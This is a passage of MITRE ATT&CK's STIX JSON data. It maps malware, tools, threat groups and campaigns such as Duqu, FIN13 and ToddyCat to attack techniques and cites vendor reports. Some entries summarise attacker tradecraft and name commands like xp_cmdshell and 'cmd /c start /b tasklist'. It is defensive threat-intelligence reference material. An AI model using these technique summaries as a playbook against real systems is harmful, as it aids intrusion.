2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.238Z","description":"[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d12dc63-d18a-43ef-b4bb-f4e9f67d2251","type":"relationship","created":"2021-03-08T13:57:39.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.145Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d172b4c-7732-4315-852a-958a1cd08025","created":"2022-10-13T20:42:14.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:43:26.617Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8d1a56fa-bf5b-4d06-b63b-fa91dc3f67c8","created":"2022-03-21T22:57:40.669Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can obtain proxy information from a victim's machine using system environment variables.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T18:13:15.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d1da663-a3eb-4464-9be1-b43b8671e599","type":"relationship","created":"2020-11-06T18:40:38.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-11-06T18:40:38.326Z","description":"(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d24d635-bc2e-48a2-87a0-01d8e10c62f2","created":"2023-07-27T20:51:22.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T13:41:54.250Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has leveraged `xp_cmdshell` and Windows Command Shell to execute commands on a compromised machine. [FIN13](https://attack.mitre.org/groups/G1016) has also attempted to leverage the ‘xp_cmdshell’ SQL procedure to execute remote commands on internal MS-SQL servers.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d2c3989-1b2f-4620-9315-3ef02c781679","type":"relationship","created":"2020-11-23T15:35:53.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-23T15:35:53.894Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d2d1a8e-7fa4-4726-aad2-7a21dfbe1c87","created":"2024-06-10T19:33:49.898Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:33:49.898Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) altered permissions on downloaded tools and payloads to enable execution on victim machines.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8d305ed1-3ac5-4431-ae3c-766d430d9d5f","created":"2021-04-12T15:19:35.720Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) has been disguised as a legitimate service using the name PythonUpdateSrvc.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d34f263-bd94-44a4-b8ec-b6cae06dcdd2","created":"2019-04-17T13:46:38.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"},{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.415Z","description":"[Astaroth](https://attack.mitre.org/software/S0373)'s initial payload is a malicious .LNK file. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d3690aa-f2aa-41ba-b0ec-3ecbb24b92ef","type":"relationship","created":"2021-08-03T14:29:13.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.492Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can use cmd.exe to execute malicious files on compromised hosts.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d36ae15-a2af-4c13-86f0-f657afbb4c86","type":"relationship","created":"2020-07-15T20:10:03.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T20:10:03.924Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has embedded binaries within RC4 encrypted .png files.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d3f505a-35d6-4c79-afc3-88979d9e156c","type":"relationship","created":"2021-03-01T21:23:22.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.823Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has been installed via MSI installer.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d403e65-4c96-424e-9bb9-3a2eb6d66af5","type":"relationship","created":"2020-03-10T18:26:56.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-10T18:26:56.478Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d43c2da-0d5e-478a-aacb-b9da651854ce","created":"2022-09-27T16:11:30.077Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:11:30.077Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the `net` command to retrieve information about domain accounts.(Citation: FoxIT Wocao December 2019) ","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d4a82db-fce4-4dcc-a0d3-8aa14cbf2ee3","type":"relationship","created":"2021-10-01T20:57:16.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.579Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can use different cloud providers for its C2.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d4effdd-6d91-473d-aa81-d121f1c77881","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-16T17:49:19.659Z","description":"[SslMM](https://attack.mitre.org/software/S0058) creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d512a95-702d-4670-ab33-069552494102","type":"relationship","created":"2020-11-20T13:41:44.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound","source_name":"GitHub Bloodhound"}],"modified":"2020-11-24T20:07:19.348Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.(Citation: GitHub Bloodhound)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d56622d-547a-4daa-89b8-1c555d1ac5b7","type":"relationship","created":"2020-06-23T18:59:50.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-27T13:51:59.202Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d5a5b8c-48a3-4d1c-bb39-89fd4a03bd15","type":"relationship","created":"2020-01-24T13:40:47.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T13:40:47.476Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d5a8f57-0d67-462f-a4f5-7fc4268e4ab2","type":"relationship","created":"2021-03-24T20:25:01.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.319Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can gather a list of running processes by using [Tasklist](https://attack.mitre.org/software/S0057).(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d5b2fe4-24c5-4a07-a1b0-8d1bac21af69","type":"relationship","created":"2020-01-31T18:59:59.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T18:59:59.399Z","relationship_type":"revoked-by","source_ref":"attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d5b3c01-b260-4212-a4f0-f061c3c701cf","created":"2024-01-23T19:51:31.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:13:51.858Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has run `cmd /c start /b tasklist` to enumerate processes.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d5d9206-a213-465d-b384-6152eb2796a0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.113Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) uses PowerShell to execute various commands, one to execute its payload.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d5fe299-0c6c-4719-8125-d9576ddbff32","created":"2023-02-16T16:55:47.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:57:58.368Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can check for internet connectivity by issuing HTTP GET requests.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","source_name":"Villeneuve 2014"}],"modified":"2019-03-25T16:51:54.123Z","description":"(Citation: Villeneuve 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d6cf235-4a33-4866-9b73-a7119293e5db","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock"},{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T20:22:20.806Z","description":"(Citation: F-Secure The Dukes)(Citation: Secureworks IRON HEMLOCK Profile)(Citation: Symantec Seaduke 